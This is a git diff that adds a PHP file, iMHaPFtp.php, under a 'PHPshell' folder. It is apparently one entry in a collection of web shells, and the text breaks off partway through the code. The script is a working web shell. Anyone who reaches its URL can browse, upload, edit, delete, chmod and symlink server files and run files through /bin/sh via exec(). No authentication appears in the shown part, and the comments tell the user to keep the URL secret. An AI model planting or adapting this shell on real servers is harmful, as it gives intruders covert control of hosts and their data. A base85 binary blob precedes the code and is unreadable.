zI$39pC8Zg+E!-wAnpCr%X7_cv)fhiw?Nt8yG26PDg<5f)fBoKlH^zv6CjM@X>6lb* z&3i~`ywACG=6|%=D>rS;8G?Y|3`xj+p?EB)e>i%u<{%NUd`I1Mm!iqU(~+nf8{euz z-8n>kixFx=+#rCf-(!JyIc+6BuJ~xvcbn2|KYgFGrp_5ig;86Y^W-I0Qehngq80N; z54cOBN)=SV!pPTJ;->#?)x(kajUsQhs5v(>>&(m|jXyWm*tgp0RJ*iX8FR;Rkn0)g z>mhbzEMpwkeKd1SAw(E|8<5tlm>C14HG5+Y=>cg?Ue}5q0r;uFlmGV2)9Ovr&4tsA zU4Y`d`@2xQK@Q*~BRaE#tf>og)>RKMGjq$Td5BX#q!DXV+rOS|<Sc9&6Z$yTs+&4J zxu!#)Rvt#yo;t)bF34dR;$-<+*zGtimBYz!(Ms?|rx({4?WiMesd>A*Q;e-<d-gpd z9Go>pEXByA3i2+V_#i4ECG%PK_98Q+U?ZhiNH}0Wfl<9~*l~g?h8J~0{hb9KE`OcW z9Tq_M`sx_8ZPlZtZ6!$}!vu<~&&X&~8~P=Ullg*XIQeI4XVWhE-q=@rA(?y6*bR2I zJIgx!{H69$4#=*NyZI<hK}prdW|C_@{|ohc23a8)gw7BgKCrjN2)08`+@NjD5l8nj zNO(#4mRu_lmrmmJS^en2B64;gS)Zpi?WRMx6lO`<JXfw(RUyq9V76k_{VJB4BwD;x zq7}x`h;d~3EJGfqdxFf%bSz=~9*?U*YFvv<OC6sPuJpVy`6-fkAp|>HL+n$R(L&;K z8T_vV?Q9t8=FW0-U354=jje<#vY9h;LhQ(jI0F27Et$v;0Fe6lS_ufpa{|KkEXn|O zy@JiS@0Wo8>yq}Lm&{yTab5`b_d>ED#RZU6y`lQ;b0Rs?Jej*_tO$l9q#w2{@@xWN z@XHqYU%w#41!n0=EuDz*9FQ9)D8?7wnZ#_{Xrmq?1@->brx!o^l%#+7hII=}R};IY zbazqh{S&rHZM;2(&^d~nn4ReGg$=ORp#p(R6w8+}^0eG16AzLs&~3M0cA&(AF$8>8 z%*am0VvzK_avL_7=V6BDreA9m><BeT&h@!TRKc>p#~L2>D{2%K?SfrKd@pSzH+|%} z-&?j9u}q2NRlez@<+^~E@`C#l?2PQFpy4pL8?|R!Mk8qS+ESZ+bT|>as7O`XcqoOi zPGHEJGAhUW+9efL0rR^2AL9(#OYbo#s+*D<S+^3eslqRoY&NL?k^7<07ST7*qgJ&a z|9noEZ5l+lr+wOGkGUm%kd=-3(SP`T$^%&_t>jTKNF_!d8tY1D#xlG}RUc#Db_Ikr zr;X$7rQDx3fg!>6jHd+$ZK@jUMR<b;Ku-LhXv2#V=_HC0wcG9AYo{*47<u_?D^jD0 z!&RcW(C_aNKwK0F*zcEcnMpe>W+Hb1e|spP^G<U*3P7TiNEhkjg0F+9Fs|OKxtEnu z-h;^AlFx>ZkyEzy1)4KT73Jdem$zO;fsJ8c^v%Bb8h~N)bjZrM-q>ub>>3ANcwNu# z+|WX%UZbF`D7r(pCRDt%JOFl0P0B!w^e*+%6E+N8nV6pf$-l^_M@SQ_OE-(vUU&U_ zbMU~l<~O;0U_4`Uq5@i=*%R{X5WGjS=J#!0>4kHs*@Gm+8pxf|@xDH#>&Ct4#E5pR zC!%AkswaoE1Rqan^s3NhLwd@mnn^#z%7rfkm18TPWX_e<nTvFZQ7@c5e!Z)^n|4vm zAO)D(rGMm->lI~H&`myiw4vD>UlloETA%kH7fRxz_H2Pv(6VU05VV(2E{mM*MDFYE zW{>i8Iy#!#?#ka9kO)VOYM>?IUr8q(PWmZU{8KU=mBY?i?8lw`6HJ=H&3nxvae{U& zpQ2!>H>t@Fj(gXh{!^9vyQKC3UXan{7hRC!Ir?QljO`sj{QX&>8`AQNK=RKzui&x+ z`BpEJVgac2mLZV#bVUR}`bmEb$Pejb(8VzHU$pQSdFx+h&-*_vaL9s2LSk?1?9^LA zLW{aq`iBfObudZ420`XN8|JLXXK(udXAStD^(e%qNQ=r9*^7Tu8JmvarU7b*dxR)j zCHH%~dDd&=>z6;TX!Ot4VqKr;bi{8XUO+SFZ*MzYMbrKJ#AHcknhmT+nA=T_34g@j zj_5af$iPbewnuc)Y3rX!y|1D@yeLeui6+q6(Bur3)j*Dy1aS*!S$I6mjK8fAJFqpr zchk~I1Fz85wvlRI-j^%V`ipAQy`Z3zK6K>I85aZ~r9^x$OC;BiDMtv3?6-&@7N4N} znDUGIewpxJmKEri74-kJJal`1+Nn3=5T_0fNt%TjSn9=68M@IDzBLw5`D))MR3_=? z(?%5I=dSp<{(tU@AIl%~_h(T5#rphZ{flDLPD=sIZXJZh($sw+t<w>7&tF~te5?YR zE%@5kFA?!siTi2A-er-O17hfO(;Nm5WP&160I|P|hW^i%;E!hhm@-tpm*L<ptC?yQ zK5Adi?QP}FmXD^!mx{+*=7~qxTC9vvLf+-DNko9B1IAvlhbL*a7wV`f4dxZ3B+0&F zF_2c}DKupuM)URPPptFx=0f&o0*{0s-ScdOv4OLcCjbyi3=ndj=LBeGoxM;8j(^qT zE&_1V3q9^9mwHPrDEAjA|H>v%@=Q@Yzx%I*0z(x*I2$PXhrsvH@8aI5D@mD<-XI9z zX9R*eC4W6oM*f2~IB@Gfw&Q>CRtP}k1}qRD3=diM6mj|2{we+5ebkwxUoU6<hoj$a zR{RH{@(<U%JOP96E3gHD5>AH14ns?2xkeDO*_q0=Q`c@~P)=tj{iE)9M6(IPxH)aL zG-@G)AFa{a5S`sF=%&q<+tG)s1*ub4jM-%bq2Z}2(bt=uDVmI=DoN;}fXA$Q`*;ll ziAISOP@?{Kq{8o_wj_X=gOpz5%hD8+koabY_=uv}&0eCA&MC~2qE;ooEh-YFIOt!Y z^|I1;QWm{V!)$a(Peq;lRy^C5o65v@eUVI5nO}TtPb8_tjg39Ftlua&z(vW=h6}4k zSl)VzzDtyVEWPDA-ZU(|&cTpx@{%0O^r(M$t#oy%D%!EC`b|eeKrVx*z=Pe&E2}BB z^oRB(^zS`A@1*2xvQwewTqbGKJ3y-?LX-a+erz5gMWLdiD-e^7H|efO?n4+AwO?6v zTd21TWM5S}$^$#BbOdL5M&*@`(T^9Y%P4n=f*ZFE`5G1-9`UNtKdCDBb1LSos%w4A zQ1apC8-$uIV}u&{ix&6!D*nwc6LBvq5<lNFd5~Ky4X%8f?-VB0)*>&&VQyMBxTPOU zvS}E7@10;4ZTV8TADcQ}`>eg^CF8cODZn8(`6ZeohCyD4xp=b<p?PvbewLq+smrC> z`V_(cibZ>pNy@8#NyZR;Q4b5GWk#NeNqFmh);ek0TaNDBz#EqnY@Tl!hFS&91q#N! zo;<dD#dxayr6n;ZHE=91xs<1{(K?lebFI$)_JSo<N0f2PWgPxBRl|YjZ_A2&WeMWd zlhdkuZE7RUK-Xn<fEY^|8IHR89Yn0`4Zp=I8Tg^51tLe_6#kXiz_L?LR;k)|GnZb& z_onxqs4%H8YJ90)lwvkX>iB_)nf0pRrt2(ev=wIC35k3uOddJj{=prRSM3Iq3b+S} zb0?g@%G+Tw<KBA<#D=YkWwvfRLig~=_}+0jWe1^wR8cXpoY~eU_dFH2jw$jW>n*z4 z>GK7b92e`OXA(0gvRncck&OY!>8&}_z{dewX7IU}5+UnS93(h0Md+6l-sv5*<->6n zmE6K(dm`lqXw72fSf*gar<t9asEX{tDND0@;XY69Z#*+}z5gmeJhF&P_HER&PvLia z7lq#rM1YUz%4E2cQ_xc^ziflK<PXohZ0NAno{E{<AK9=~)K$G{So-iJoCzWNd4(o< zaq-K^3a@HiohPYsq%uOAw~C^9;<i5lqk$k8hBC2Fjw-zo;nHe#yHrKAd=AU1=M{Lj zXhPtfU4uXzeVsy{p?TdcKiInTws={Ci{_oewP~p^{!1{i2#PohAf#uv7k`d%BI6V- zJ%kk}b)7E_92H$v{d@psnLhQn+i0eAZ*6})5|3~?iKC;ah2(K0A%n0s_>ve2`brjc zz|1b~QnOz~#KdHvE9o+3Q0|9UfSz43F2$9c$cZr>rW`wy$SYB*inMj`S$t8e5K)>1 z;W8~n;1vKLp-NQSo_pU0rFRJ)E>9GA)mo;;D4jOBq8|G+O4!&av5FB)hJ4&mX*qt7 zLm{}%N<Cr0<nLstz;?OJiORd07c1TaNcz9ERW{_vh{zLeKQJkuA)Iwpx_i{7|L#uG zdnpVOdNc|ba>G>LQH8PqV)&+^AD?=uEJb-g36-xhN&{75VtSVLYL(;EDW`%ZL3Dp3 zlgT)omzuMR-&%q*N~n@KHc{G{TfKwBT!u&5#u%m}I3Yj5+5}CWmd-RQcXj~p)B0-! zVBHf=89T^1xc+~tyV9s8vMgN45>Qb#Wr>Q8AgB!}s~RxD9cUyNBw@E@4FOS9Y%om( zq}>7-_C_VFA`YO41`rUNW(k4@f&>VJKu1Ib1fpzaabAx^`;2pDY=6!Ct2%Y+JMZ1P z@145$-TQqRW{~W07$n~-+(=xIk9WTHR!?`Mc?v~$h4yES^@WER9Ux8krH1?>+fB&N z!r%*<>ma<V_8P^C*`!yy@+30Y=<II#kQb~~EX|2hlM4I`VEVU&|0-~Q&T_ViUF46Z zMZe@?a6v{zdE};oKFd(L-!9yab(jaCi-vX6$v%r;P3wAiHSF-r9JuC&i_hJ(rEz%a zN~Oo|SC7ZE<-B+9t78u>a)4z-rPMVm9ML?mDSWjx6w`efqNy8%uB{)7(sESjb5cR+ zX+GAOdK2KPQ#~<9O7Abo91#*8I>p~zV%~KpwZBjM-Nl=|J7)oL7jkRQIh1e977fJ1 zv54eHi1seKs{1smV8>Y6LmK}1onK&Z=RMm;o{<*!B^+cP1yp?NJAymVDPcBYwDgp& z_$A}btCopkO)yMTdqRu2lWAZiESe_;mZ^*}+>c?%1CdS!218<Jx#^JFdG32b>m8WR zl*e2=qCA>VTIh!#&)wRzZc77sogW)jM@_#@9=^Wp=Y`~>@AZ|gr}M&6%`XvxHR^WD zR_^gUSr-*$r@*I8V1Y<?%y~Tu)i$JnzE}0+@5ph*7+dC}hL^l&VrEh+|LrU-T!WJ^ z$cgWna2G~AuA0h!nYKK>IH`rAwOM(_FD0)f<jPH3sJg@=`egN~l8!H2W#d|ZIX0`L z+#s72;0dReUnJd!VnP##&bwI_SMa5X)2|R+=wrnFqU^hPS8R86UpSY2=nsvP8OC~e zsSwalT8(19K-EV*GqgJ5F~@vsccIC-d59jj;-bLBmg!sG(4h-?V&T7T@85w%eFLuV zHL5aT+Y8ciPMI;XSaW73InzIlT2n@E93w3o3u8nK^H{RnI3v>v;_0AF_lxbggfi3O z4Q@maW3=qhiE7mwy!^1thzJ`%E8i>Bmn?%_a{m=rk#P}}H<&AKwiT#fOF#&09ZXsn z{XH+d!;lxk5dJlR;S1|5S7Hum|4E_Obi)TI-+M0Ocah;cyUp;C@5G#lwwCV#$b&M* z$d($Mbn@yr!uLc@?}`sl=e8mF7d+ODwX}=_d8vvMOF}MXsMwmz)3*%_P$=CQ5YND@ z1`yz48HJ|poY&>fFnfNkg4Q10Uk|BA0@c|?p$(CKk5_q1<2udUxN--MnN=F9<0eH< z-%*Mj^=UrJH%bRh?#{<96Fu#aS(WiF{oVKmgG2U*tjsxP3Rs^s0{)W6j{}eTD32$) zF>9Hp+^|(=f7-y(t6{J+5L<2%hY^#t7MLz8`y~#42<RCnC#Ha3T_AYkaW5{XG}_|E z8%=Mt-&Mn5ULhN5o`IaEU3(0IigRfX%9Y&ev%N3tFTO3+2FXE%lFbbhaqn+MMJf`~ z7?%2_5Tl@Ki(@nD+Wr-(FIiHC4Z%4!j__#tS4|Is%P#3$39MC2N?u<&eaqJEDM1Zu zE<R!(M>}8#J+X#So-4`k%t>=HJ<;V_a))r{>^4@uZ-*J&-qO`Z4foJR262Oq>g|1c z)O>~GePRth#<{aZH+o=HWs}!yYy|!uE~kEpM*8OLja98{(B2jI_>rC|T`dK8lh-E# zLq}-*K&6uIlFSa{tl@KlP?%o!n}CnI#dBVV!I!(m^27e3U{Sc2H5YWDM_PT)h4!@* zk!`!(ZI0WM?H{2kp<9SZv>eQu8*gLTwclxMeC*UHsjRyvzX)+9{J7hgds5<YIb#Pi zZ;3xSQB8vOge{zJbb2i>VJMCeM(|1?uPBQ<Kks%1^i1Eju2ZEm@-cTSQW*znGy?o) zz)@WDVU2AXZvs)Q91tA^0M|zeY6U~2#xw!w?Rceq<^x0oQJ*Y(Q`$@nsAAkXA)fb| z$`iLGiKAveO5H=AIfbMEq;SsTql*2Xucg8+=ZmsH(q`}@Q2U>6KA|#VxgtKu?(}lS zL_-jf0ngEbsvMtfAcU{vFt<NZhSOs^-Bzh&MejT7<Ny3{NO`Sr4*YR)H;YYcLrC*e zRiF+53yKI5CsT8$mVq9onwa{BkqN#9E|m$b<?*|^?8!08#>!<fD)po?@|#}Pp4zD$ zK*jJ!pkk=2{TTtjHu*tcN44rcO=ZYOXA(EVn7v(K=zkWsG_R6BUSLn=KB^dm<B>Iy z7s%R;Wv3L(2&b=&^S74kiPmW5tJ-PJEFHvV@nGSMo!-t#xPF~7dER9l8+*zRuQZrW zlkesztS{E<F{&MAYYRl6BtolD+U~$l{6NLgf1dT%fYkX%mOeByCy}`^uIYVqe!sJ6 zsG96yX~26P({}prlZy;^GDl)HVIwFNC*{V~F27I_*K#R+g7&=-lJ4MwoZyk-*6fOC z2JshM7?5*LQ|E^jE-r5?BPy+$YQE-$<?F0`K-xYI)U7Lw>WPFQQ#qF*%k$GoVzI?s z`wP7y>g-f)BjCv8tFjyfb6np3tC{ymTtL62rJp7J?}qR{fQZiOr^iyITg4_l=hPfg zs*<VYO2(^(mXb^@;gbOzQLs;Q`(%N=&}Z{XOt4oC`cH`2=fkVclz}C<`!`B6BVP?I z)BouUeI>*<4N7Y1Z%;U-R1qfAJ#(K`V8}O3jAgxw66`;8H}u8K&ihyE@5lr_U8ie} ztPXJ~Rzph*ztS<}e^_&jGX|&uu1>xPJvoArnCt(|x1>PI>!6KeVq~%-O8Z04KL9b& Byhi{4 literal 0 HcmV?d00001 diff --git a/php/PHPshell/iMHaPFtp/iMHaPFtp.php b/php/PHPshell/iMHaPFtp/iMHaPFtp.php new file mode 100644 index 0000000..2c003b7 --- /dev/null +++ b/php/PHPshell/iMHaPFtp/iMHaPFtp.php @@ -0,0 +1,2061 @@ +<?php +/* + * iMHaPFTP.php - iMHaBiRLiGi Php Ftp Editoru + * Copyright (C) 2003-2005 iMHaBiRLiGi <iMHaBiRLiGi@imhabirligi.com> + * + * Bu Kod Tamamiyle zgr Yazilimdir. + * Kt Amaclar ile kullanilmamak sartiyla istenildigi gibi Kullanilabilir + * Programin amaci ftp olmadan hostunuza baglanti kurup + * Dosya ekleyip kaldira bilmektir. + * Kodumuz 6 Dilde yazilmistir.Server Diline Gre Otomatik Secim Yapar. + * ------------------------------------------------------------------------- + * Kodu hosta attiktan sonra adres cubuguna kodun uzantisini verip baglanin + * Ve Asla kimseye bu kodun uzantisini vermeyiniz.!! + * ------------------------------------------------------------------------- + * + * iMHaBiRLiGi PhpFtp V1.1 + * ========================================================================= + * + * BeweiS + * <BeweiS@imhabirligi.com> + * iMHaBiRLiGi Administrator + * Php-Asp-Programlama ve Gvenlik + * + * MicroP_ + * <MicroP_@imhabirligi.com> + * iMHaBiRLiGi Administrator + * Php-Asp-Programlama ve Gvenlik + * + * Libertical + * <libertical@imhabirligi.com> + * iMHaBiRLiGi Ynetim + * C++, Delphi,Programlama ve Linux Hastasi + * + * PowerGhost + * <powerghost@imhabirligi.com> + * iMHaBiRLiGi Sistem Danismani + * Sistem Danismani + * + * BadSector + * ozgurkaleli@yahoo.com + * iMHaBiRLiGi Ynetim + * VicualBasic-Delphi Programlama + * Sistemdanismani ve Linux Hastasi + * + * Bu kodun yaziliminda ismi gecen her arkadasimizin + * Katkilari bulunmustur. + * Herbiri ilgi alaninda Basarili olduklari konularda kodumuzu gelistirmemize + * Katkida bulunmuslardir. + * NOT: Kod Hakkinda takildiniz konulari iMHaBiRLiGi Forumlarina Sora bilirsiniz + * http://www.imhabirligi.com + *<iMHaBiRLiGi@imhabirligi.com> +/* ------------------------------------------------------------------------- */ + +/* Diller : + * 'en' - English + * 'de' - German + * 'fr' - French + * 'it' - Italian + * 'se' - Swedish + * 'auto' - autoselect + */ +$lang = 'auto'; + +/* Charset of your filenames: + */ +$charset = 'ISO-8859-1'; + +/* Homedir: + * For example: './' - the script's directory + */ +$homedir = './'; + +/* Size of the Dzenle textarea + */ +$Dzenlecols = 80; +$Dzenlerows = 25; + +/* ------------------------------------------- + * Optional configuration (reTasi # to enable) + */ + +/* Permission of created directories: + * For example: 0705 would be 'drwx---r-x'. + */ +# $dirpermission = 0705; + +/* Permission of created files: + * For example: 0604 would be '-rw----r--'. + */ +# $filepermission = 0604; + +/* Filenames related to the apache web server: + */ +$htaccess = '.htaccess'; +$htpasswd = '.htpasswd'; + +/* ------------------------------------------------------------------------- */ + +if (get_magic_quotes_gpc()) { + array_walk($_GET, 'strip'); + array_walk($_POST, 'strip'); + array_walk($_REQUEST, 'strip'); +} + +if (array_key_exists('image', $_GET)) { + header('Content-Type: image/gif'); + die(getimage($_GET['image'])); +} + +$delim = DIRECTORY_SEPARATOR; + +if (function_exists('php_uname')) { + $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; +} else { + $win = ($delim == '\\') ? true : false; +} + +if (!empty($_SERVER['PATH_TRANSLATED'])) { + $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); +} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { + $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); +} elseif (function_exists('getcwd')) { + $scriptdir = getcwd(); +} else { + $scriptdir = '.'; +} +$homedir = relative2absolute($homedir, $scriptdir); + +$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; + +if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { + $dir = relative2absolute($dir, $_POST['olddir']); +} + +$directory = simplify_path(addslash($dir)); + +$files = array(); +$action = ''; +if (!empty($_POST['submit_all'])) { + $action = $_POST['action_all']; + for ($i = 0; $i < $_POST['num']; $i++) { + if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { + $files[] = $_POST["file$i"]; + } + } +} elseif (!empty($_REQUEST['action'])) { + $action = $_REQUEST['action']; + $files[] = relative2absolute($_REQUEST['file'], $directory); +} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { + $files[] = $_FILES['upload']; + $action = 'upload'; +} elseif (array_key_exists('num', $_POST)) { + for ($i = 0; $i < $_POST['num']; $i++) { + if (array_key_exists("submit$i", $_POST)) break; + } + if ($i < $_POST['num']) { + $action = $_POST["action$i"]; + $files[] = $_POST["file$i"]; + } +} +if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { + $files[] = relative2absolute($_POST['create_name'], $directory); + switch ($_POST['create_type']) { + case 'directory': + $action = 'create_directory'; + break; + case 'file': + $action = 'create_file'; + } +} +if (sizeof($files) == 0) $action = ''; else $file = reset($files); + +if ($lang == 'auto') { + if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { + $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); + } else { + $lang = 'en'; + } +} + +$words = getwords($lang); + +$cols = ($win) ? 4 : 7; + +if (!isset($dirpermission)) { + $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; +} +if (!isset($filepermission)) { + $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; +} + +if (!empty($_SERVER['SCRIPT_NAME'])) { + $self = html(basename($_SERVER['SCRIPT_NAME'])); +} elseif (!empty($_SERVER['PHP_SELF'])) { + $self = html(basename($_SERVER['PHP_SELF'])); +} else { + $self = ''; +} + +if (!empty($_SERVER['SERVER_SOFTWARE'])) { + if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { + $apache = true; + } else { + $apache = false; + } +} else { + $apache = true; +} + +switch ($action) { + +case 'view': + + if (is_script($file)) { + + /* highlight_file is a mess! */ + ob_start(); + highlight_file($file); + $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents()); + $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src); + ob_end_clean(); + + html_header(); + echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2> + +<hr /> + +<table> +<tr> +<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray"> +<pre style="margin-top: 0"><code>'; + + for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n"; + + echo '</code></pre> +</td> +<td style="text-align: left; vertical-align: top; padding-left: 3pt"> +<pre style="margin-top: 0">' . $src . '</pre> +</td> +</tr> +</table> + +'; + + html_footer(); + + } else { + + header('Content-Type: ' . getmimetype($file)); + header('Content-Disposition: filename=' . basename($file)); + + readfile($file); + + } + + break; + +case 'indir': + + header('Pragma: public'); + header('Expires: 0'); + header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); + header('Content-Type: ' . getmimetype($file)); + header('Content-Disposition: attachment; filename=' . basename($file) . ';'); + header('Content-Length: ' . filesize($file)); + + readfile($file); + + break; + +case 'upload': + + $dest = relative2absolute($file['name'], $directory); + + if (@file_exists($dest)) { + listing_page(error('already_exists', $dest)); + } elseif (@Tasi_uploaded_file($file['tmp_name'], $dest)) { + listing_page(notice('uploaded', $file['name'])); + } else { + listing_page(error('not_uploaded', $file['name'])); + } + + break; + +case 'create_directory': + + if (@file_exists($file)) { + listing_page(error('already_exists', $file)); + } else { + $old = @umask(0777 & ~$dirpermission); + if (@mkdir($file, $dirpermission)) { + listing_page(notice('created', $file)); + } else { + listing_page(error('not_created', $file)); + } + @umask($old); + } + + break; + +case 'create_file': + + if (@file_exists($file)) { + listing_page(error('already_exists', $file)); + } else { + $old = @umask(0777 & ~$filepermission); + if (@touch($file)) { + Dzenle($file); + } else { + listing_page(error('not_created', $file)); + } + @umask($old); + } + + break; + +case 'execute': + + chdir(dirname($file)); + + $output = array(); + $retval = 0; + exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); + + $error = ($retval == 0) ? false : true; + + if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); + + if ($error) { + listing_page(error('not_executed', $file, implode("\n", $output))); + } else { + listing_page(notice('executed', $file, implode("\n", $output))); + } + + break; + +case 'Sil': + + if (!empty($_POST['no'])) { + listing_page(); + } elseif (!empty($_POST['yes'])) { + + $failure = array(); + $success = array(); + + foreach ($files as $file) { + if (del($file)) { + $success[] = $file; + } else { + $failure[] = $file; + } + } + + $message = ''; + if (sizeof($failure) > 0) { + $message = error('not_Sild', implode("\n", $failure)); + } + if (sizeof($success) > 0) { + $message .= notice('Sild', implode("\n", $success)); + } + + listing_page($message); + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> +<table class="dialog"> +<tr> +<td class="dialog"> +'; + + request_dump(); + + echo "\t<b>" . word('really_Sil') . '</b> + <p> +'; + + foreach ($files as $file) { + echo "\t" . html($file) . "<br />\n"; + } + + echo ' </p> + <hr /> + <input type="submit" name="no" value="' . word('no') . '" id="red_button" /> + <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" /> +</td> +</tr> +</table> +</form> + +'; + + html_footer(); + + } + + break; + +case 'Degistir': + + if (!empty($_POST['Yol'])) { + + $dest = relative2absolute($_POST['Yol'], $directory); + + if (!@file_exists($dest) && @Degistir($file, $dest)) { + listing_page(notice('Degistird', $file, $dest)); + } else { + listing_page(error('not_Degistird', $file, $dest)); + } + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> + <input type="hidden" name="action" value="Degistir" /> + <input type="hidden" name="file" value="' . html($file) . '" /> + <input type="hidden" name="dir" value="' . html($directory) . '" /> + <b>' . word('Degistir_file') . '</b> + <p>' . html($file) . '</p> + <hr /> + ' . word('Yol') . ': + <input type="text" name="Yol" size="' . textfieldsize($file) . '" value="' . html($file) . '" /> + <input type="submit" value="' . word('Degistir') . '" /> +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +case 'Tasi': + + if (!empty($_POST['Yol'])) { + + $dest = relative2absolute($_POST['Yol'], $directory); + + $failure = array(); + $success = array(); + + foreach ($files as $file) { + $filename = substr($file, strlen($directory)); + $d = $dest . $filename; + if (!@file_exists($d) && @Degistir($file, $d)) { + $success[] = $file; + } else { + $failure[] = $file; + } + } + + $message = ''; + if (sizeof($failure) > 0) { + $message = error('not_Tasid', implode("\n", $failure), $dest); + } + if (sizeof($success) > 0) { + $message .= notice('Tasid', implode("\n", $success), $dest); + } + + listing_page($message); + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> +'; + + request_dump(); + + echo "\t<b>" . word('Tasi_files') . '</b> + <p> +'; + + foreach ($files as $file) { + echo "\t" . html($file) . "<br />\n"; + } + + echo ' </p> + <hr /> + ' . word('Yol') . ': + <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> + <input type="submit" value="' . word('Tasi') . '" /> +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +case 'Kopyala': + + if (!empty($_POST['Yol'])) { + + $dest = relative2absolute($_POST['Yol'], $directory); + + if (@is_dir($dest)) { + + $failure = array(); + $success = array(); + + foreach ($files as $file) { + $filename = substr($file, strlen($directory)); + $d = addslash($dest) . $filename; + if (!@is_dir($file) && !@file_exists($d) && @Kopyala($file, $d)) { + $success[] = $file; + } else { + $failure[] = $file; + } + } + + $message = ''; + if (sizeof($failure) > 0) { + $message = error('not_copied', implode("\n", $failure), $dest); + } + if (sizeof($success) > 0) { + $message .= notice('copied', implode("\n", $success), $dest); + } + + listing_page($message); + + } else { + + if (!@file_exists($dest) && @Kopyala($file, $dest)) { + listing_page(notice('copied', $file, $dest)); + } else { + listing_page(error('not_copied', $file, $dest)); + } + + } + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> +'; + + request_dump(); + + echo "\n<b>" . word('Kopyala_files') . '</b> + <p> +'; + + foreach ($files as $file) { + echo "\t" . html($file) . "<br />\n"; + } + + echo ' </p> + <hr /> + ' . word('Yol') . ': + <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> + <input type="submit" value="' . word('Kopyala') . '" /> +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +case 'create_symlink': + + if (!empty($_POST['Yol'])) { + + $dest = relative2absolute($_POST['Yol'], $directory); + + if (substr($dest, -1, 1) == $delim) $dest .= basename($file); + + if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); + + if (!@file_exists($dest) && @symlink($file, $dest)) { + listing_page(notice('symlinked', $file, $dest)); + } else { + listing_page(error('not_symlinked', $file, $dest)); + } + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog" id="symlink"> +<tr> + <td style="vertical-align: top">' . word('Yol') . ': </td> + <td> + <b>' . html($file) . '</b><br /> + <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" /> + <label for="checkbox_relative">' . word('relative') . '</label> + <input type="hidden" name="action" value="create_symlink" /> + <input type="hidden" name="file" value="' . html($file) . '" /> + <input type="hidden" name="dir" value="' . html($directory) . '" /> + </td> +</tr> +<tr> + <td>' . word('symlink') . ': </td> + <td> + <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> + <input type="submit" value="' . word('create_symlink') . '" /> + </td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +case 'Dzenle': + + if (!empty($_POST['save'])) { + + $content = str_replace("\r\n", "\n", $_POST['content']); + + if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { + listing_page(notice('saved', $file)); + } else { + listing_page(error('not_saved', $file)); + } + + } else { + + if (@is_readable($file) && @is_writable($file)) { + Dzenle($file); + } else { + listing_page(error('not_Dzenleed', $file)); + } + + } + + break; + +case 'permission': + + if (!empty($_POST['set'])) { + + $mode = 0; + if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; + if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; + if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; + + if (@chmod($file, $mode)) { + listing_page(notice('permission_set', $file, decoct($mode))); + } else { + listing_page(error('permission_not_set', $file, decoct($mode))); + } + + } else { + + html_header(); + + $mode = fileperms($file); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> + + <p style="margin: 0">' . phrase('permission_for', $file) . '</p> + + <hr /> + + <table id="permission"> + <tr> + <td></td> + <td style="border-right: 1px solid black">' . word('owner') . '</td> + <td style="border-right: 1px solid black">' . word('group') . '</td> + <td>' . 